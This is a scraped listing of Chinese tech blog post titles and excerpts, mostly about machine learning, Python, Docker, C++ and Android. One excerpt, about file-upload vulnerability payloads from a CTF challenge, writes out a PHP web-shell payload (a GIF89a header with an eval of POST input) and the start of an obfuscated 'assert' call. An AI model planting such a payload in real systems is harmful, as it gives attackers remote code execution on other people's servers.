机器学习中val

机器学习基本库之Pandas

Pandas是机器学习中专门用于数据处理的库，遇到很多数据时首先要使用Pandas进行预处理得到我们想要的信息，下面让我们来看一下Pandas中有哪些操作importpandasfood_info=pandas.read_csv
莫 名 其 妙·2025-02-18 19:37

Debian/Ubuntu云服务器配置最速实践笔记[1]

在腾讯云购买了一台轻量云服务器跑几个机器人用,一篇基础配置的实践笔记系统是Debian11,理论上Ubuntu等衍生版本基本可以无修改地参考添加普通用户安装Docker安装Node.js安装miniconda
打磨怪·2025-02-18 19:54

python输出值保留两位小数

例如：value=3.1415926print(f'{value:.2f}')这将会输出3.14。
Xi Zi·2025-02-18 18:21

NoSQL数据库介绍与分类

目录一.NoSQL数据库的定义及其特点二.NoSQL的四种主要类型2.1文档型数据库（Document-BasedDatabase）2.2键值型数据库（Key-ValueStore）2.3列族型数据库（
码农老起·2025-02-18 18:49

Jenkins Pipeline 中通过勾选参数来控制是否构建 Docker 镜像

.定义参数：使用booleanParam定义一个布尔参数，示例如下booleanParam(name:'BUILD_DOCKER',description:'是否构建Docker镜像',defaultValue
行路见知·2025-02-18 18:11

三种参数传递方式：值传递，地址传递，引用传递的区别

在C++中，参数传递方式直接影响程序的行为和效率，以下是三种传递方式的对比分析及典型场景说明：一、值传递（PassbyValue）工作机制定义：将实参的值复制一份给形参，函数内操作的是独立副本。
fananang0604·2025-02-18 18:10

【机器学习】半监督和无监督极限学习机SS-US-ELM附Matlab代码

标题：【机器学习】半监督和无监督极限学习机SS-US-ELM附Matlab代码一、引言1.1研究背景和意义概述研究的背景以及该研究在领域内的重要性。1.2研究现状分析当前领域的研究进展和存在的问题。
默默科研仔·2025-02-18 18:09

阅读论文“用于车联网安全车载通信的机器学习技术“的学习笔记

前言论文全称为MachineLearningTechnologiesforSecureVehicularCommunicationinInternetofVehicles:RecentAdvancescandApplications智能交通系统（ITS）和计算系统的快速发展为智能交通安全提供了新的科学研究，并提供了舒适和高效的解决方案。人工智能（AI）已被广泛用于优化不同研究领域的传统数据驱动方法
饮长安千年月·2025-02-18 18:08

【AI引领潮流|未来智慧生活】国内机器聊天软件推荐（超全！）and人工智能&智能学习

1.1AI聊天软件的关键技术1.2AI聊天软件的应用1.3AI聊天软件的挑战1.4总结2.智普清言3.文心一言4.讯飞星火5.知元AI6.白马AI7.ChatGPT8.一览AI应用链接9.人工智能10.机器学习
熔光·2025-02-18 18:08

常用第三方开源代码库 （thirdparty/common）

在工作和学习中，借助第三方开源代码库是常见的事情，“站在巨人的肩膀上”嘛，相信大家都不会陌生，赞叹开源、共享的伟大。
王利锋Fandy·2025-02-18 17:05

机器学些|实战?

机器学习实战：从零到%1…今天聊聊机器学习（MachineLearning,ML），这个听起来高大上的技术其实并没有那么神秘。跟着我的节奏，咱们一起来探索一下如何从零开始！
dami_king·2025-02-18 17:02

Windows Opencl clSetKernelArg()函数

SettingKernelArguments函数原型cl_intclSetKernelArg(cl_kernelkernel,cl_uintarg_index,size_targ_size,constvoid*arg_value
万能的小裴同学·2025-02-18 17:02

YashanDB应用程序与网络体系

跨机器访问，能解决不同机器间数据格式
·2025-02-18 17:34

正则化（Regularization）和正则表达式（Regular Expression）区别

1.正则化（Regularization）领域：机器学习/统计学。定义：正则化是一种用于防止模型过拟合（Ove
Dontla·2025-02-18 17:58

机器学习基本篇

1基本概念机器学习，分为回归，分类，聚类，降维有监督学习回归，分类，有特征，有标签，进行训练，然后对新数据进行预测无监督学习聚类，降维。
胖胖的小肥猫·2025-02-18 16:51

地平线x5下运行yolo11s-seg模型

经过地瓜机器人工作人员（感谢吴超同学）的及时技术支持，整体比较顺利的跑起来了yolo11s-seg分割模型。
zgrobot·2025-02-18 16:51

kafka搭建

二、应用场景1.实时数据处理2.日志聚合与分析3.事件驱动架构场景三、kafka搭建流程1.确定环境2.整理机器清单3.确定组件版本4JDK安装5kafka安装5.1master安装5.2slave_1
瀟湘夜雨-秋雨梧桐·2025-02-18 15:19

解锁机器学习核心算法 | 支持向量机：机器学习中的分类利刃

一、引言在机器学习的庞大算法体系中，有十种算法被广泛认为是最具代表性和实用性的，它们犹如机器学习领域的“十大神器”，各自发挥着独特的作用。
紫雾凌寒·2025-02-18 15:15

华为OD机试 - Excel 单元格数值统计（Python） | 机试题算法思路 【2023】

最近更新的博客华为OD机试题-最短耗时（JavaScript）华为OD机试题-机器人走迷宫（JavaScript）华为OD机试-新员工座位安排系统（Python）|机试题算法思路华为OD机试-能力组队（
梦想橡皮擦·2025-02-18 15:11

深度学习与图像识别：机器学习基础之回归

1.线性回归1.1一元线性回归1.2多元线性回归2.逻辑回归与线性回归的不同在于其将最终预测值y固定在一个范围之中2.1Sigmoid函数sigmoid函数表达式：p为预测出来的概率，范围在0-1之间，一般用于处理二分类问题，因为这个式子的一个显著特征在于：当z=0,p=0.5当z>0,p>0.5当z<0,p<0.5所以当对z进行多元线性回归表示的时候，以p的值来反映y_pre是一个不错的选择，此
Shenrn_·2025-02-18 14:34

BabyAGI：开创智能自动化新时代，赋能人工智能的下一次飞跃

BabyAGI的应用领域BabyAGI与传统AI系统的区别BabyAGI的挑战与未来发展BabyAGI的未来展望结语BabyAGI：开创智能自动化新时代，赋能人工智能的下一次飞跃随着人工智能（AI）的不断演进，机器学习和自我优化系统已经逐步渗透到各个行业
gs80140·2025-02-18 13:55

机器学习和线性回归、softmax回归

监督学习监督学习（supervisedlearning）擅⻓在“给定输⼊特征”的情况下预测标签。每个“特征-标签”对都称为一个样本（example）。我们的目标是生成一个模型，能够将任何输⼊特征映射到标签（即预测）。回归——平方误差损失函数回归（regression）是最简单的监督学习任务之一。分类——交叉熵样本属于“哪一类”的问题称为分类问题回归是训练一个回归函数来输出一个数值；分类是训练一个分
小名叫咸菜·2025-02-18 13:53

【趣味随笔】盘点那些知名的机器人公司

：如果你也对机器人、人工智能感兴趣，看来我们志同道合✨：不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】：文章若有幸对你有帮助，可点赞收藏⭐不迷路：
嵌小超·2025-02-18 12:48

版本控制与Git实战指南：从入门到WebStorm集成

一、版本控制：数字时代的时光机器在软件开发的世界里，每一次代码修改都如同一次时间旅行。
The god of big data·2025-02-18 12:18

Vue rules动态控制是否校验

可以使用变量来控制动态是否校验userEndTime:[{required:false,message:"请选择用户离职时间",trigger:"blur"},],且用这个来更新disabled2(newVal
25G·2025-02-18 12:18

ASP.NET MVC或者.net Core mvc 页面使用富文本控件的 保存问题

原因是有一些页面使用了富文本编辑框，为了使得其内容可以提交，为相关action设置了[ValidateInput(false)]特性：[HttpPost][ValidateInput(false)]publicActionResultMailPreview
weixin_30949361·2025-02-18 12:14

ASP.NET MVC5配置百度富文本编辑器

1、首先去下载百度富文本编辑器2、解压放到项目文件夹Content/ueditor3、在视图里面添加@Scripts.Render("~/bundles/jqueryval","~/Content/ueditor
plcc123·2025-02-18 12:10

吴恩达-机器学习-多元线性回归模型代码

吴恩达《机器学习》2022版第一节第二周多元线性回归房价预测简单实现以下以下共两个实验，都是通过调用sklearn函数，分别实现了一元线性回归和多元线性回归的房价预测。
StrawBerryTreea·2025-02-18 11:35

易飞ERP 查询报表打印凭证报错：Error reading Quick Report.PaperLength：Invalid pointer operation

处理办法：查询报表打印凭证报错：ErrorreadingQuickReport.PaperLength：Invalidpointeroperation-S3软件此问题，主要是由于计算机的默认打印设置错误导致
S3软件·2025-02-18 11:05

奥比中光3D机器视觉相机能连接halcon吗？

奥比中光的设备与Halcon的兼容性可以通过以下方式实现：数据接口的通用性奥比中光的相机（如AstroPro、大白等）支持通过UVC协议获取彩色图像，深度数据则通过OpenNI或ROS2接口传输105。若Halcon支持这些协议或标准接口（如ROS消息、OpenCV图像流），则可通过直接调用或二次开发实现连接。例如，通过Python或C#脚本将图像数据从相机传输至Halcon的处理流程中。SDK与
视觉人机器视觉·2025-02-18 11:32

机器学习--实现多元线性回归

机器学习—实现多元线性回归本节顺延机器学习--线性回归中的内容，进一步讨论多元函数的回归问题y′=h(x)+w⊤∙x+by^{\prime}=h(x)+w^\top\bulletx+by′=h(x)+w
y江江江江·2025-02-18 11:32

使用Docker安装Spark集群(带有HDFS)

本实验在CentOS7中完成第一部分：安装Docker这一部分是安装Docker，如果机器中已经安装过Docker，可以直接跳过[root@VM-48-22-centos~]#systemctlstopfirewalld
Sicilly_琬姗·2025-02-18 10:52

求职刷题力扣DAY34--贪心算法part05

Definitionforabinarytreenode.classTreeNode:definit(self,val=0,left=None,right=None):self.val=valself.left
云墨丹青·2025-02-18 10:51

【人工智能】人工智能学习基础知识汇总

它是用人工的方法在机器(计算机)上实现的智能；或者说是人们使机器具有类似于人的智能。2.人工
奋力向前123·2025-02-18 10:46

线性代数导引：张量与张量空间

线性代数，张量，张量空间，深度学习，机器学习，人工智能1.背景介绍在现代人工智能领域，深度学习和机器学习算法的蓬勃发展，使得对数据的高效处理和表示能力提出了更高的要求。
AI大模型应用之禅·2025-02-18 09:15

蓝桥杯 Java B 组之总结与模拟题练习

蓝桥杯JavaB组-第七天：周总结与模拟题练习Day7：周总结与模拟题练习在这一周的学习中，我们已经接触了动态规划的基本概念和常见应用。
计算机小白一个·2025-02-18 09:44

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_time_update函数

voidngx_time_update(void){u_char*p0,*p1,*p2,*p3,*p4;ngx_tm_ttm,gmt;time_tsec;ngx_uint_tmsec;ngx_time_t*tp;structtimevaltv
若云止水·2025-02-18 09:39

深入解析C++静态关键字：生命周期、存储管理与C++11线程安全实现

例如：classInt{intvalue;public:Int(intx=0):value(x){coutda
zzr915·2025-02-18 09:38

validation 实现参数校验

为了简化参数校验的实现，可以使用ValidationAPI，它是JavaEE平台的一部分，提供了一套
程序员老王wd·2025-02-18 07:24

Android中kotlin的Map简单使用方法

例如：‌valmap=mapOf("Tom"to18,"Jerry"to12,"Jack"to20)//或者valmap2=mapOf(Pair("Tom",18),Pair
RandomWrite·2025-02-18 07:23

Android 10.0 移除wifi功能及相关菜单

介绍客户的机器没有wifi功能，所以需要删除wifi相关的菜单，主要有设置-网络和互联网-WLAN,长按桌面设置弹出的WALN快捷方式，长按桌面-微件-设置-WLAN。
不太正常的移动开发工程师·2025-02-18 06:15

Spring Boot框架中的IO

Spring提供了多种方式来处理资源文件访问，包括通过ResourceLoader、@Value注解以及ApplicationContext获取资源。
阿乾之铭·2025-02-18 06:38

【二叉树学习8】

*publicclassTreeNode{*intval;*TreeNodeleft;*TreeNoderight;*TreeNode(){}*Tre
m0_46150269·2025-02-18 06:05

【最全基础知识1】机器视觉系统硬件组成之工业相机篇

工业相机是一种非常重要的机器视觉器件，它能够将被采集的图像信息通过电路转换成电信号，再通过模数转换器（ADC）将其转化为数字信号，最后以标准的视频信号输出。
51camera·2025-02-18 05:00

stm32超声波模块

HC-SR04超声波测距模块资料1.HC-SR04简介HC-SR04是一种常见的超声波测距传感器，它通过超声波反射测量物体的距离，广泛应用于机器人避障、液位测量、物联网设备等领域。
想要成为糕手。·2025-02-18 05:59

强化学习原理与代码实战案例讲解

强化学习（ReinforcementLearning,RL）是机器学习的一个重要分支，它关注的是智能体（Agent）如何在环境中通过与环境交互来学习最优的行为策略。
AI天才研究院·2025-02-18 05:53

OpenCV机器学习（1）人工神经网络 - 多层感知器类cv::ml::ANN_MLP

操作系统：ubuntu22.04OpenCV版本：OpenCV4.9IDE:VisualStudioCode编程语言：C++11算法描述cv::ml::ANN_MLP是OpenCV库中的一部分，用于实现人工神经网络-多层感知器（ArtificialNeuralNetwork-Multi-LayerPerceptron,ANN-MLP）。它提供了一种方式来创建和训练多层感知器模型，以解决分类、回归等
村北头的码农·2025-02-18 04:51

文件上传漏洞常用payload

[极客大挑战2019]UploadGIF89a@eval($_POST[1]);GIF89a$a="a"."s";$b="s"."e"."r"."t";$c=$a.
Werqy3·2025-02-18 04:50

如何在Python中进行JSON数据的序列化和反序列化？

在Python中，JSON（JavaScriptObjectNotation）是一种轻量级的数据交换格式，易于人阅读和编写，同时也易于机器解析和生成。
计算机学长大白·2025-02-18 04:50

2024 年 9 月青少年软编等考 C 语言二级真题解析

目录T1.火中取栗思路分析T2.垃圾分类思路分析T3.生成字母串思路分析T4.B是A的多少倍思路分析T5.机器人拼图思路分析T1.火中取栗据法国诗人拉·封丹的寓言《猴子与猫》里说，猴子骗猫取火中的栗子，
南朔 Clancy·2025-02-18 04:18
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